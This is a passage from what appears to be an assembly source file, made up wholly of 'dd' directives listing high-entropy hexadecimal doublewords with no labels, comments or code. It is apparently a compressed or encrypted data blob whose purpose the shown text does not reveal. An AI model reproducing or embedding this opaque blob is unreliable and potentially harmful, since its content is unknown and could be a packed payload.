9AD1E4FEh, 0A3E95A0Ah, 48F14BDDh, 0C7812F80h, 23E8AC3Ch dd 0F5F8997h, 1311EB29h, 4B448621h, 2356D2F9h, 20BF5624h dd 0EF30C1E2h, 0A281B600h, 3B28D89Bh, 90940095h, 0E086AA3Fh dd 2D4CE95Bh, 19D5C4F1h, 2E0CDDEEh, 0AF183E22h, 11A56A57h dd 151EFE12h, 69E3A094h, 422E71C4h, 5300EE58h, 0B7B18531h dd 7B6AA6A6h, 7BBA65E3h, 0F2A86FA2h, 0CE5BBA7Ch, 0FE04DE20h dd 6C9701B4h, 0B9D9462Ah, 561CA573h, 6607DE25h, 38B9486h dd 0B7821ED7h, 31495EA9h, 72061CAh, 0DC8C5679h, 0D8913027h dd 3612740h, 0E03ECB53h, 0C2AAE3AEh, 0A34E9D29h, 6140E102h dd 7553C02Bh, 0CFD73990h, 0CD83E300h, 87022FA2h, 0B1D20080h dd 0A8DA9290h, 0BE5038FFh, 2BE25BEAh, 8D09BFFCh, 7979C553h dd 0BD31E15Bh, 2A5ECE29h, 8AF7FCC4h, 0ACADAD5Bh, 0B72316A9h dd 0D2AFB9B8h, 7E8029DAh, 7BE97990h, 2EE4CC05h, 0E3F8F944h dd 2110D7D0h, 408B4B2Ch, 0A364F6D7h, 0A9F8DBDCh, 0D10135F1h dd 4E343B24h, 5FC813B9h, 3DE57EADh, 0ABD2ACCEh, 78F8460Eh dd 9F09AA40h, 0FB252236h, 6423EDF5h, 9BDB601Bh, 0F4634E73h dd 0FF09F5EEh, 79DA8BE1h, 5D644603h, 71DEF8C9h, 216F46E1h dd 0C55B5325h, 1F2A18CAh, 3805DF81h, 6074D81Bh, 4076EEFh dd 51CAFEA2h, 0C20DFCEEh, 4326DB5h, 25BAB85Bh, 29B9C0F5h dd 2CB1278Dh, 1F7E46D5h, 4024A331h, 0CB7A8894h, 0F09FD466h dd 9D70950h, 0CF725B95h, 8031E95Bh, 7A3B0DC1h, 61880194h dd 5AFC9F4Fh, 4C622E4h, 9BD2930h, 0C5CFB917h, 2CE8FC8Ah dd 0B24A195Ch, 88DB001Ch, 0BB167B6Bh, 31702F8h, 0CD495130h dd 3D77858Bh, 4E100F6Ah, 8D669280h, 0B99460CEh, 4834C40h dd 0D091169Eh, 0CE5E009Dh, 683FB361h, 767E4900h, 0D22CBBEAh dd 812B303Bh, 0A885B6B0h, 5E8B1527h, 0A9FC446Ah, 0A3A6D665h dd 0DCB5FCA0h, 9920FF90h, 0C04CB52Bh, 5B14CF0Eh, 9D234242h dd 0E9D8A2F5h, 64A95F9Fh, 0EAEDD085h, 89A89E84h, 0C9EA9B4Ah dd 0BE59C6B9h, 0B48D4077h, 410499FCh, 1233C33Ah, 23716BAEh dd 13320216h, 655CF9C7h, 24EA2B64h, 0D25DACD7h, 0EF8B7D9Bh dd 1B40E850h, 44E8E489h, 40001D0Ah, 6F0DF8A1h, 0C78ADB7Ch dd 0D8A5BD72h, 8F645F12h, 8A165AACh, 2BC081DDh, 925C7B31h dd 46E6F9D2h, 5C3018B2h, 0A72517E1h, 0AFAE13B1h, 282B4DE1h dd 0DCBA534Bh, 90505F2Fh, 1775D639h, 0B69AAE95h, 256E480Bh dd 6AE0FE5Fh, 0CA56082h, 1225ECB5h, 4846C48Fh, 0F3092858h dd 1F715467h, 0E34B4D2Dh, 0E688D686h, 0E51796FFh, 1A1E7E0h dd 302E2431h, 2C13E5Ch, 274E597Ch, 0EB0042A2h, 0B3F12C3Ch dd 1E00254Eh, 14573BB2h, 181AE398h, 0AEFE5C29h, 0AE4B62DBh dd 0FB8B9F04h, 0B713EFE9h, 0C19704FEh, 0C03BB91Fh, 0F74FBF66h dd 0E0D8AD61h, 0D699EBB8h, 3682774Ah, 291ED70Dh, 163DE880h dd 1104C7B5h, 1BE91A05h, 75DD540Bh, 7B5188C9h, 84777127h dd 52F1BD0Bh, 6A9CD9A2h, 9B509D8Bh, 758B8785h, 0F47F5403h dd 0F7F14801h, 2987037Ch, 0CA3EDF21h, 0B35105E7h, 0DB495BC0h dd 0E995560Ah, 9DC5B07Fh, 0DC094AA9h, 0BD123323h, 0A4B219D5h dd 0A428A6D7h, 8170EDEFh, 20E98531h, 0E087523Ah, 0E29557A9h dd 0D5C675CBh, 63D32802h, 0D6962E71h, 781B15E3h, 7EF8082h dd 7D6BB056h, 2F60D01Ah, 0E80B7032h, 70F8607Ah, 0A9EDD2D5h dd 1B6EC80h, 46AA7FE1h, 2B36C259h, 830FB531h, 0E7802740h dd 859A9569h, 1DC27263h, 0FF30BA55h, 722E3602h, 0AB284156h dd 50530569h, 40BBB437h, 0B525BFF3h, 823D0B01h, 0F50D4ECBh dd 9545ABD0h, 31574999h, 0C572A7Ch, 0EFF083A6h, 0E29DA294h dd 0A792FD35h, 0C5238874h, 0FC4DB233h, 3E0C2DABh, 1C0FD56Ah dd 70EB0DD7h, 68950430h, 254A690Bh, 692C5692h, 0FCA534DEh dd 35BD8544h, 342DAF0Fh, 0B0D8F66Ah, 0B0C9EAD3h, 8837121Bh dd 5F94A327h, 91F28585h, 6A45618Dh, 0B102856Eh, 0F9B531AFh dd 0E65F6A4Ah, 0DAD61C26h, 9D360534h, 120884E4h, 0E0B0E67Ch dd 29EA282h, 399209E7h, 84770AE2h, 0FC0A11E5h, 1946DCA1h dd 4B3A7900h, 81B8D251h, 9B83D705h, 0DA17582Fh, 1DC8E1DAh dd 0E5E9DBC0h, 0A1200209h, 270C4F58h, 58548B89h, 0C7D40255h dd 7E418F9Bh, 7DAC65C1h, 8C18ACEEh, 0DFBD205h, 0D8E87FE0h dd 9B916B80h, 0C800AAE1h, 4DE4415Bh, 263AE3Ch, 108AF5A2h dd 556C522h, 7C093D51h, 81169FEAh, 0A4D9DEB8h, 43DE2AC6h dd 0E1FAE980h, 0EB02885Bh, 0B70C889h, 1C4AFD9Dh, 7C69C9F9h dd 70E105Ch, 0FFF594E9h, 8104B719h, 0D25BA30Eh, 697696CAh dd 0C12587FDh, 987059F3h, 228D1CF2h, 57FDD601h, 0AC0EFDF0h dd 0FE0B8C17h, 44C695DDh, 2CDA0004h, 0B0E651F7h, 9E03F94Ch dd 0FFD439CCh, 287DD0B4h, 1FDC4C26h, 9D1A615Ch, 9FFCDD95h dd 5BDC511Ch, 0FAF0696Dh, 900ADC07h, 2E6930C4h, 4F20C7CDh dd 0A4454AF7h, 2A50FD85h, 7D4B736Eh, 0B509DBF8h, 8C512081h dd 8395882Fh, 0E1BB9080h, 0B5393C2Fh, 93035218h, 1B327400h dd 0A047711Ah, 0D3640081h, 9D2B907Fh, 2595022Dh, 0DE1A554h dd 81B09E7Fh, 367B4BB4h, 16582C6h, 0BE385517h, 660A6056h dd 0A2A319BBh, 5B57C61Fh, 95CE60BFh, 4EB510BDh, 8B0F2EC0h dd 2A6BCF80h, 7669BCFEh dd 7000D4DFh, 6FC8BE49h, 4A11B041h, 7C718AA0h, 8F7A2EE1h dd 29C6B62Fh, 1B11B480h, 61760289h, 0D4CA80F0h, 82B7F605h dd 8604328Dh, 418D0CF9h, 48961E20h, 512D4194h, 0D5B17D46h dd 9096022Ch, 0ED80D59Bh, 6ED93880h, 9318BF5Ch, 4884339Eh dd 0AB56C2E2h, 1C424755h, 7A23567Dh, 23100132h, 512F247h dd 25CD820h, 0EF8060D4h, 5477292Eh, 0A46194D4h, 9D2945Fh dd 0B253F990h, 5024DBADh, 7331EDA6h, 90FE508Dh, 3133CD2Ah dd 47423AA2h, 91808EBBh, 3E7690D3h, 8D4865F2h, 51950C51h dd 0AD8B49ABh, 0D94A8BEEh, 18B2F0A6h, 6CCC2231h, 206A5EC6h dd 0FAA03AC0h, 13BE6200h, 4A33DB73h, 965B01D7h, 0E266F1A9h dd 0DA6F2F6Ah, 0EF922F00h, 967240B8h, 76753227h, 0F1FC69B4h dd 2482D135h, 0F0D67D25h, 0CD5E2EF4h, 0F879007Ch, 65BF345Dh dd 5B60712h, 242DCFA6h, 67C37910h, 1C924Ch, 0E6ABD380h dd 248D0970h, 622E0AF5h, 0ACF071E4h, 2B31C5Ah, 0F481FF35h dd 902CFB2h, 0FC56FA39h, 58806CBAh, 0B8D2A91Dh, 0BD678069h dd 190E018h, 0FC66A36Bh, 0C13F8653h, 5B42200Bh, 0AA042ECCh dd 0D79C25F7h, 87E0C242h, 9AB8C82Bh, 5D242D31h, 173F33D1h dd 7535FF0Bh, 7401F0A2h, 2138B877h, 13065576h, 8155C12Eh dd 7F9D121Dh, 7C0CC10h, 321D6A0h, 891D59Ch, 0CFD6522Dh dd 8C6F2ECDh, 36011891h, 32B29F65h, 482AEF99h, 0F8A52BEEh dd 0B30B6443h, 0F8604056h, 9CFCB81h, 6144FA89h, 62006871h dd 0E2DD4D17h, 0F3E81486h, 0DB008B6Ch, 63EED7A7h, 71B5CD62h dd 5A97A017h, 92FEA2F8h, 0A514AC5Fh, 20FE3215h, 0DB802103h dd 8BA0A1CCh, 323EC12Dh, 0CD05282Bh, 0ED22F82Fh, 13EBE15Ch dd 0FAA889EEh, 3BB7FF6Ah, 0DF13CA82h, 0C8665549h, 4CB789ECh dd 28902D64h, 5DD67E76h, 4582F01Dh, 0ECDF3447h, 0AAB97B3Fh dd 61CD5FFBh, 7A657E0h, 219004F6h, 0EB050D5Eh, 238DAA04h dd 0E1122F14h, 0B841F9FCh, 0D48A01D1h, 8250F936h, 80245B60h dd 1FF0715h, 0EEEA903Fh, 2B2612B7h, 0E0EDB6C0h, 907C9D3Eh dd 360D4470h, 43F57500h, 60BB5E27h, 0BE6744Ah, 0D22BF6A8h dd 78D62FC2h, 69C05325h, 4750C4D3h, 0B1930BEEh, 4B82AEC7h dd 37752E9Ah, 6F792D99h, 8046093Bh, 4431DD5Bh, 2BDEC9FEh dd 14F8B222h, 4004CD9Dh, 0FFD6D1E5h, 5AFD061Ah, 0C262D7A2h dd 0F95438D5h, 0F5951209h, 0B591B314h, 0A6A182E6h, 13AAE4CAh dd 6205BF25h, 99264010h, 7767B511h, 0D32F711Ch, 0CEF5D210h dd 8D0F27DAh, 0FEA02844h, 0CD4DDEC0h, 6461257Bh, 9D0115BFh dd 9A4A9549h, 0C017C89Fh, 9445785Bh, 7A06C2BFh, 0FCE16254h dd 0E9DB0F91h, 4A7879A7h, 8400D6A2h, 52DBA4A0h, 9AEEB81h dd 5B2E937Fh, 2C46C859h, 6C5C9568h, 86D905DCh, 0BBF1DAD5h dd 9993D530h, 30161DAEh, 5E37416Ah, 2B97DACBh, 0E9B7F828h dd 92CF3F5Bh, 0EB9F6665h, 2FD9CC1h, 0D2B79B14h, 2E7FC8AFh dd 0EFC99012h, 9B6A11E1h, 5323828Ah, 252E5CFFh, 0D116C037h dd 4D29F230h, 3BA70E2Fh, 9DC0570Ah, 9ED98809h, 0D7FB2C0Eh dd 72F8E9E2h, 37A3EF46h, 459F585Dh, 7DDFA15Ch, 82484CCBh dd 0D72FB17Fh, 0E3A9173Ah, 53563A55h, 0A84B5074h, 0ED5C2600h dd 1A18D7C1h, 0D74A9D50h, 93B77Dh, 0A4C8BD97h, 0F88910E9h dd 7050E8h, 59E5396Fh, 49FC8427h, 0D0C6C21Fh, 64D3EFh dd 52E8740h, 0C50E2822h, 31E6836h, 98BB8871h, 97149201h dd 3E16000h, 9DE677AEh, 0F90D8527h, 0B35D4BEBh, 5C24DAA9h dd 6B09E747h, 0D94547DCh, 0ACA534BEh, 0F756CF3Fh, 39F06527h dd 1F9955Eh, 827BB7B5h, 2E5B25A9h, 1923216Bh, 0C4D3400h dd 95231A5Dh, 0DB8018D4h, 0F6E08E8Fh, 752F00EBh, 63DAEF24h dd 2D02C92Eh, 0B237442h, 4073D433h, 0AE5B4F7Dh, 0E79AC000h dd 0F1D4EBC5h, 45F5AABh, 0B81D201Ch, 55F9C953h, 30E02CB2h dd 0E5B52A41h, 0BAEDAF53h, 2E385D49h, 62C4F8A3h, 22AF3071h dd 4C5CC274h, 0E92199A6h, 96870125h, 0C149810Fh, 0B3F0D83Fh dd 8C6AE641h, 9E00FF99h, 0BCE42A3Ah, 58B46h, 0C009C57Dh dd 0AA461AFh, 9684FA16h, 30066EBFh, 0B5DBB22Ch, 950B972Bh dd 0F66CFCh, 0D8E4163Ah, 6897D0ABh, 0F3E80F0Bh, 7970h dd 0DAAD3F09h, 89001519h, 47C886C2h, 4F27B701h, 0B3D55642h dd 0DB164E58h, 0F0019CA8h, 2970ECEBh, 5FAC2ABDh, 3A85CD4Ah dd 0C5AFDA35h, 8E3AF831h, 0ABAC16E1h, 3119C8D2h, 80B8F9B5h dd 0F5EF056Dh, 3C4B5BB5h, 404BC8h, 0A5E6ECE9h, 51BEB0A8h dd 5F5BEF18h, 162BBFB0h, 0AD7735B1h, 2CBD27CFh, 48FD7C6Ch dd 0ACA4EA14h, 4ED480F7h, 12D37AC0h, 9B6149B5h, 9E7C8010h dd 9EB4399h, 3D8CBBFAh, 81607971h, 2174CEE3h, 11643D6Dh dd 39320A52h, 6454A5B0h, 0E3D9D61h, 0CBBEC0Eh, 65A9F238h dd 324BB9BCh, 0DB227E8Eh, 0C06A6DBDh, 6DB1998Ch, 82015327h dd 96639480h, 3A825AFh, 6D43AC4Fh, 2DC62AE7h, 52BB04C1h dd 0AD42A196h, 0A9958465h, 3647C853h, 127F8EEAh, 397E6100h dd 74DC3586h, 133009D5h, 7656D8DDh, 500B5BEBh, 2116A31Ch dd 0E0EDB589h, 4B6D8350h, 6ED29D23h, 0DC80C99Bh, 8E85AB8Bh dd 60487E01h, 0A59BD31h, 51845E6Ch, 0B4FCB802h, 93A89EEDh dd 56001698h, 0DA96EADEh, 5E29BB74h, 4A75A99Dh, 2F2620EAh dd 0A717DA7Bh, 82B1D37Ch, 0A17B577Ah, 71422A61h, 9AC9DB80h dd 0A73755D6h, 0E9302F97h, 0BDD876h, 0EEB39153h, 4E718327h dd 0DD8CDB01h, 0A62A4CEBh, 0C870DA6Ah, 80BEC014h, 0E2ACE5CFh dd 8079379Bh, 5AE50A20h, 4084B71Ah, 0F4A95AFh, 4DFB6ADh dd 0BD2DD185h, 0CFB3C43Ah, 562C37BCh, 295F019Fh, 2F15018Dh dd 0BEC13B24h, 0B72A2F41h, 9D717F89h, 0B8361950h, 5DA7C28Ah dd 3A6A11E9h, 0A201756Fh, 31C5B557h, 9ECD22B0h, 2F32E7E5h dd 7650CC7Bh, 0B28B4E2Ah, 60960723h, 0AF81F6B8h, 0CCCB6150h dd 3DB97AE9h, 0DA8AC119h, 0A2D540BBh, 60C0996Bh, 0D678E81Ch dd 2CCD204Bh, 9EB8722Dh, 56168C17h, 8F70A144h, 39A24DBCh dd 81DC3DDFh, 84758F28h, 8397454Ah, 97EC6BBh, 879A6151h dd 811FBA0Eh, 66C19684h, 742F23B9h, 0C5BC05C6h, 229AB05h dd 0AC1479F0h, 8A0F2F18h, 75255FC6h, 0F4375710h, 71EC9489h dd 9B14FA7h, 55FC8A51h, 4BBEFE14h, 830917D4h, 0A2180173h dd 986BF7ECh, 0BBF989E0h, 16B60DC0h, 2334C65Ah, 5B6E004Ah dd 10221DBFh, 0DE4400CAh, 0A0627C48h, 7012DB12h, 86A86580h dd 5846BF5h, 56E9E4DDh, 48A313AAh, 0C198243Fh, 972C45B2h dd 1B919537h, 0D069C187h, 0BECB9293h, 4AFD78BFh, 4C3D585h dd 130B9DF0h, 7F67011Fh, 2B00286Eh, 0AB7B0E76h, 421C55h dd 6F8A5A4Dh, 0D701E33h, 0F9907725h, 0DB7E8726h, 401BD05Ch dd 909DA8BFh, 0D307A4h, 29DFB3B0h, 0CE34986Fh, 807FD709h dd 85650B9Ah, 0BEFDDD42h, 2D6E97h, 0B530C7B3h, 27B160A8h dd 0F96063B6h, 0ABA10AE2h, 7A23CD76h, 1AC1FCDBh, 2AF987F2h dd 0E721E6A5h, 4280512Ch, 49BEEDFh, 0E067F600h, 9073D509h dd 508525B7h, 0C7812A60h, 4278B604h, 9BBE6A07h, 7601C081h dd 417A914h, 5DB70FFAh, 0FC6FFA6Ah, 0CB137602h, 4E55A279h dd 0D4A596D5h, 73708402h, 0F896ABA6h, 0A22AE196h, 0ACF1D5CDh dd 0B16E2DF3h, 49F66480h, 62C45731h, 59012005h, 6BD1FF61h dd 0A8803BDBh, 84C22737h dd 0C5A7A909h, 4E2E79ABh, 0B64A383Ch, 986DF33Fh, 17B75AAEh dd 0A6026AC1h, 9A78E0FEh, 0B47001EFh, 0D42C7131h, 3C432550h dd 56E5A1Eh, 6B7E352Dh, 3C0ED552h, 2F0129F7h, 80172AE0h dd 9C9780E9h, 828DF803h, 2AA3443h, 4029CFDDh, 5FC0D932h dd 25C20E00h, 0BD33DB1Ah, 0A7144AB5h, 0B9CD4FACh, 5AF5A760h dd 0DDD1E91Ch, 62367E2Dh, 6825F56h, 0A808F98Bh, 94BCBF02h dd 0DC4BF690h, 59034E00h, 904CB9E5h, 0AAB225A7h, 0FE8DEECCh dd 0AEB742E0h, 3AB007E4h, 85EE15CCh, 1D882ECh, 19BDF524h dd 3717E192h, 747EE2E0h, 57D809FCh, 2B2C8ED3h, 5F003210h dd 75CBF381h, 6A4A3DB0h, 0FBBC2BE9h, 7C01EA01h, 29D36EE5h dd 0AA9E1DAh, 0D7DD7E07h, 0B157211Dh, 71602E1Eh, 1D987Eh dd 1B998695h, 49E75E3Bh, 5CD10B1Eh, 3E053282h, 0C7045E9Dh dd 8B1708EAh, 0B08ED5ACh, 70E6FC03h, 126DE410h, 5371E40Ch dd 0B694D28h, 440272F7h, 0CF5881C7h, 5AFD16E8h, 237824ADh dd 0F6A6083Dh, 157D8425h, 0A1B461AAh, 0B500C0Fh, 0C82B5BF8h dd 8B064754h, 0EA8753D1h, 5F5B8005h, 90E8E94Ch, 6385C087h dd 17714D83h, 0B221D290h, 843ACBB0h, 0A2E8A909h, 2FD5FA89h dd 0CFBADF7h, 0B9D804C2h, 8B1121DAh, 6EDC2AD5h, 0ED8529C0h dd 0A05BBD05h, 29B5B2B2h, 2B11C359h, 0F82F6B5Ch, 8010457Bh dd 0A58A618Fh, 66FE0126h, 0A24D63BBh, 0BF3F5F84h, 0CA984B7Eh dd 23022FE0h, 2EEC4ACDh, 7470002Fh, 0B4854999h, 9D712BF4h dd 81A92348h, 7218F781h, 0A92A57F1h, 1237A94Dh, 0DABFA200h dd 83BB953h, 40E54FB5h, 0B3F6B8A5h, 0DF8BC517h, 0E3AFECB0h dd 99E092Eh, 1D208204h, 2BFDC1E7h, 59CEA72Ah, 0F6FAAC8Eh dd 5E5A28Eh, 7FABD9E8h, 1C230Eh, 4183B7CDh, 82F2A57Ch dd 8501C60Eh, 0ECB717C1h, 344C5FA2h, 29479095h, 0CACD5BB5h dd 93F591Eh, 448A44C2h, 6063B46Fh, 854B6E2Dh, 0BAEEB3E6h dd 3D85614Bh, 0C03A9EFEh, 0C864287Bh, 0C8A45E45h, 5200236Ah dd 0A379514h, 0EE180Bh, 50CC87BEh, 1CC41E5Fh, 1061634Ch dd 5B1806CDh, 1BDD1051h, 567D568Ah, 2B6F85B7h, 78A042F7h dd 91013EB1h, 0EB942670h, 88896925h, 83710FFDh, 4D50D1CFh dd 9CD69AE1h, 9D4F257Bh, 48915D49h, 71742EF8h, 98C0F1DAh dd 0F7B75156h, 662F20Ah, 0F913983Ah, 0F66E2C89h, 4090809Dh dd 26B2FEDAh, 0DE4DE1FFh, 72BFCA00h, 6266718Bh, 0DC3F00F2h dd 0E865D381h, 1497029Bh, 2A7745AFh, 8217538Fh, 0E84FED04h dd 0FC38122Dh, 8D78E23Dh, 0D6205920h, 600840F5h, 0DFB9B725h dd 0F516B3BDh, 0CE54350Ch, 390997FEh, 28DCDDF6h, 978051C4h dd 8A005965h, 0F99356CAh, 235F03CBh, 83D1E884h, 3D4C81B4h dd 55CC6A0Ah, 0E7015B30h, 7669A0FDh, 5913252Ch, 4688FA46h dd 0A7E4D64Ch, 0F61A0E00h, 0F96E6BADh, 441A9758h, 383DCC5Fh dd 5040358Dh, 5C124D98h, 12C44937h, 0A2B8AEF9h, 12BDB558h dd 92B2D4C4h, 80ADFC5Eh, 2D523235h, 0E9B1005Dh, 8AB24763h dd 92E47E77h, 82765F69h, 5D95B5D3h, 2B681480h, 0F74EA4D7h dd 4B570ECCh, 0D434805Bh, 84E7A2Ch, 0D3E09EB6h, 80040B92h dd 76532CB6h, 0BFB074ABh, 45167F6Ah, 72F881D1h, 0AED82AECh dd 834E01D3h, 1DE94217h, 2EF73A02h, 3B12C0A0h, 5F16F702h dd 40CCF484h, 95316938h, 395C4059h, 2B1F4348h, 9DC6A512h dd 0E1B5891Eh, 0E18254A7h, 2EDAB70Fh, 0EF815430h, 20F47C52h dd 9D12896Fh, 5AE71B69h, 3A04F82Dh, 10E2A28Dh, 61253035h dd 977C39C2h, 368713DCh, 0C1A2DAh, 0D0BDEFDDh, 232FC9h dd 0C4325F54h, 5696A830h, 66F4609Dh, 0A3AE3ABEh, 0DAEFA0CAh dd 0F11A36FDh, 528B5190h, 10F50B5Bh, 258D01B5h, 0F9540FF5h dd 0D4E6745Ah, 7ED7771Ch, 941EAF82h, 0E0965583h, 0A433BF39h dd 501399FAh, 0C00AF2EBh, 3094F54Ch, 21740058h, 16970E9Ah dd 8179103Fh, 59E6F825h, 24D0A8EAh, 4BAD5406h, 0F4D00975h dd 8C08E076h, 430703D8h, 984F2455h, 0F11A9BD0h, 58DC9031h dd 0E417091Ch, 5ACB6F58h, 4131CCE0h, 11C93E2Bh, 259D8h dd 0F97B2401h, 5F5B51A3h, 0B6A90897h, 96D09FCh, 2B259838h dd 0CCDFF14h, 740BAE4h, 65D6064h, 0D5507B63h, 60AC6FBDh dd 0F380A19Bh, 924AA04Dh, 0B219280Eh, 0D1211B2h, 0F706B831h dd 1709B5D1h, 0E4E15B0Fh, 0F031E62Bh, 9552EEE8h, 3BE90FE9h dd 9BAB1B85h, 6A83C0FBh, 0EC66C00Ah, 5F513BFh, 80B9AC51h dd 2C0919A6h, 5FB52F4Ch, 0E69E2610h, 7372B70Fh, 71D1C928h dd 8101D7E1h, 0F9CE7DC7h, 978DB3CCh, 0D574DE14h, 0C0DB3BE1h dd 0AAAD67C4h, 0B77F83A1h, 0BADD0792h, 0A880C225h, 24D6DC4Fh dd 590E615Ch, 89759F94h, 29ABD953h, 41B1F312h, 689C2B2Fh dd 3FCB2580h, 6D9DAB64h, 3CAFE2B9h, 235150E0h, 25E4DE82h dd 81500654h, 0ECD00BDFh, 7263644Ch, 4B4EB8C4h, 0B37E21EBh dd 0BE5F54F0h, 0ABC0A7DBh, 0ECFB13A6h, 0DAE3D817h, 2A51CEC1h dd 3B2ADD6Ah, 86461EA3h, 0A0BBC84Eh, 2EA40500h, 8832DB04h dd 5F5C0E58h, 6A205B4Ah, 0B8E78092h, 5B272997h, 2BFFD174h dd 0B39253BCh, 0BD0C5943h, 5F12A33Bh, 7D0D2CC2h, 2DE8424Dh dd 0E3D96760h, 974302A5h, 5D3FBB66h, 95BE2157h, 300D1F35h dd 0DB4B4B41h, 172B8199h, 0C0DDD87Bh, 0B6188300h, 0CF15AFB4h dd 464B00B1h, 3B25EDD8h, 0CE5A2070h, 3095AE3h, 0C25EA59Dh dd 68616A16h, 0B82A4B5Dh, 0CB5180C6h, 0F6D3D977h, 2EEC0591h dd 428D55Ch, 8A0871B8h, 0F7B31399h, 5FDB2C1h, 0D6D49678h dd 18B52077h, 98FDF8B5h, 1A8027D5h, 2B81DC73h, 954E63BAh dd 220FC86Fh, 3BCAA100h, 2E8BB10Fh, 0AB239041h, 0E9834E83h dd 38B9EC91h, 0E0924B64h, 98C6EACDh, 0B2DB12C8h, 0B292E637h dd 5CD5301Ch, 0F13BEA72h, 474A8D43h, 5768FC60h, 0B1D7C1A7h dd 0CC49FD63h, 760074E7h, 0A8B9F941h, 2554254h, 0F85608ADh dd 0B55C6159h, 96122A51h, 413BDFF0h, 2DB5F67h, 4B047F8Eh dd 34558107h, 2AB4596Eh, 637DA2DDh, 23DEECA9h, 1B31909Fh dd 2F40012h, 74D2D5CEh, 0CCA68D33h, 0C74B13B0h, 4B8B64D8h dd 60CC8DD9h, 0D29A0D1Ch, 59B59495h, 0D2F8DE66h, 5F3EB700h dd 0B5B9AFCh, 950AB86Bh, 10DFD79Ah, 44623Ch, 10BF38B6h dd 85192A01h, 80FDC41Ah, 0B02557A2h, 9BFB305Bh, 0B4001A74h dd 6C5C5793h, 7BFF4D79h, 1F867C37h, 0D7E3F2FEh, 28D189C6h dd 0C8CF4A1Eh, 0C09A9A5Ah, 0E9A5BF73h, 7DCD8809h, 7612DD01h dd 0D7466067h, 422E93F9h, 1EAD95D8h, 4325BD18h, 0EA9A9308h dd 3ACEE180h, 0AB0F657Ah, 8B6DA10Fh, 191BF550h, 3E6AFAE1h dd 0B101FC6Fh, 3803DF8Dh, 1A137FC2h, 658A0B2h, 6507E114h dd 239D5C09h, 0DED67Eh, 47B0E79Fh, 565B97F9h, 40ADC240h dd 897FC15h, 2DED99Eh, 30FCFD48h, 9B2210E8h, 0FA56C083h dd 3B82004Dh, 0C5056387h, 8E28AE41h, 3120DB91h, 815B001Ch dd 86699DF3h, 0A7B6900Dh, 0D02EB841h, 75E402C5h, 0F05600A9h dd 0B6F34A67h, 3C2FD26Dh, 0E10356C5h, 745F7CDEh, 905EFE4Eh dd 43E0E4F6h, 8DBF7AC8h, 0DB3B42E8h, 0A1798230h, 2DEADC37h dd 20C0874Dh, 0EA6B708Ch, 11F648F2h, 0D989DD2Fh, 17590B73h dd 0A612E818h, 0D1B3CDC2h, 12526950h, 0F313D10Ch, 61A7410Fh dd 46DBF2C1h, 28A6B270h, 25D18C34h, 0E4C545C1h, 0E6FD8716h dd 5F0057ECh, 0D1525DFh dd 2CF9614Ah, 1D6D026Ah, 0F2EF228Bh, 0B3299361h, 0C2BD0E79h dd 8C90042Ah, 671CA75Fh, 0BF40391Bh, 0AFF3F9ABh, 528C1F9Ah dd 0BB3383F7h, 7CB29412h, 9CF821F7h, 5D3D90C4h, 429599B8h dd 0C152CC31h, 0E9679B54h, 0EBA32A0Eh, 169D6684h, 2641BE30h dd 5F3F00EBh, 0EA1A8AF7h, 9403400Ah, 7B9B63DDh, 6EAADCE6h dd 0DF43002Bh, 0EE8E7539h, 46010F14h, 0BFA351A6h, 7B99E634h dd 35D5C65Fh, 801B91A7h, 0BDA9CA9Fh, 278504BAh, 0EB9D8B20h dd 49F5D5D2h, 0EF21FBEAh, 0B7028C2Bh, 56C9324Dh, 0F672F7F6h dd 69065E11h, 80F93777h, 0BE148DA4h, 364BFBEDh, 7A7BFB89h dd 8AAF07A1h, 0E3F096A2h, 4EB85B4Eh, 94F8A927h, 3917975h dd 0D8829880h, 4ACB6229h, 0D371EEEEh, 5D701C25h, 431E64CDh dd 85C0B9DAh, 0BBE60162h, 8D329E00h, 7D5C16E2h, 1A0905E6h dd 46B03F3Bh, 3E7BBDD9h, 0A5E076EBh, 0BFDE00D5h, 4B66EF2Bh dd 25DA9133h, 5DD31001h, 226F2D78h, 0DD587589h, 66BAF92Fh dd 82C97762h, 2E3384FFh, 69C4DAF8h, 92E4B80Fh, 0A6037208h dd 0D95AA50Dh, 92768C48h, 0B5BCE2C5h, 651E304Bh, 0EF4EFC42h dd 615538AEh, 90C82B25h, 716CB71Ah, 158044Ah, 0FA18F185h dd 64D1394Bh, 1B28008Fh, 2CC01098h, 250E0CB5h, 5434A1E4h dd 0A5C8D8BCh, 0D8898114h, 0E5D608D5h, 5720B609h, 0D00D946h dd 0C0BAB666h, 28C5D36h, 7E7B539Fh, 215E4193h, 8E0C2328h dd 5C7A0819h, 0A2235A25h, 3DBB3BF2h, 0EE3E2569h, 0B529092Ch dd 0C65D1895h, 359F90D1h, 0FF931909h, 23B5D9C8h, 840B1501h dd 31FD137h, 570EE8A8h, 1B80A5FAh, 199D09FEh, 2FE9204Ah dd 2D5FF580h, 0AC00CA08h, 73F31D56h, 4FF6363Bh, 4C01BC71h dd 95EC5A74h, 387BD9C9h, 230CDD04h, 1CDD6FFAh, 9235E4FEh dd 0C8AEB612h, 0E32780F0h, 0B2B755F1h, 32F6A980h, 97070595h dd 2A035399h, 0B91F1FB2h, 0E64FF83Eh, 7EDF092h, 5EE60947h dd 357809A4h, 0C0E84D9Fh, 0FC36CC6Dh, 0D6F2014Bh, 6FC02B16h dd 3B7405D8h, 1FE22301h, 3BE0FC4Bh, 8BA2CBE4h, 9BDA7700h dd 0F5C8F450h, 4DA8180Ch, 4CDF2AB8h, 2B15A1C9h, 6DBC8DD2h dd 74218602h, 5F8DA858h, 0E620F998h, 0E99148h, 417438F5h dd 25F82DCFh, 9FE75B09h, 77EE90ADh, 0CCB60060h, 16A4ED51h dd 0DEEAB39Eh, 958D3700h, 0A6BF4076h, 2E2824ECh, 703D0286h dd 745E3CDBh, 0C0B62F4Bh, 1BC326F3h, 60F79E42h, 1541B509h dd 80A0CE95h, 1272CB1Bh, 0AB719A74h, 18C8732Eh, 375BE6C0h dd 56224C80h, 0A03A1DC7h, 0E22074C9h, 6DD56B05h, 0D702472Fh dd 0FC8AC1EFh, 0BB384057h, 90129DCAh, 36F2A38Eh, 2B7BA489h dd 130732D8h, 8828EF02h, 4B7FAE21h, 0D6B8850Eh, 7987C980h dd 0FBB015Eh, 2F37EB2Fh, 0E69A4275h, 0BD2202D3h, 6655135Dh dd 0A135B773h, 0DE30B90Bh, 0A05547C1h, 0DB7DBB66h, 54205B4Ah dd 1898FD8Ch, 1E918B52h, 4E1D9E6Bh, 6509302Ah, 0D99082B7h dd 513D5E5Fh, 0DC601285h, 0FAD76016h, 0CE0B4CCFh, 743E56BFh dd 0F5FE2771h, 41938059h, 23B10989h, 2FF84111h, 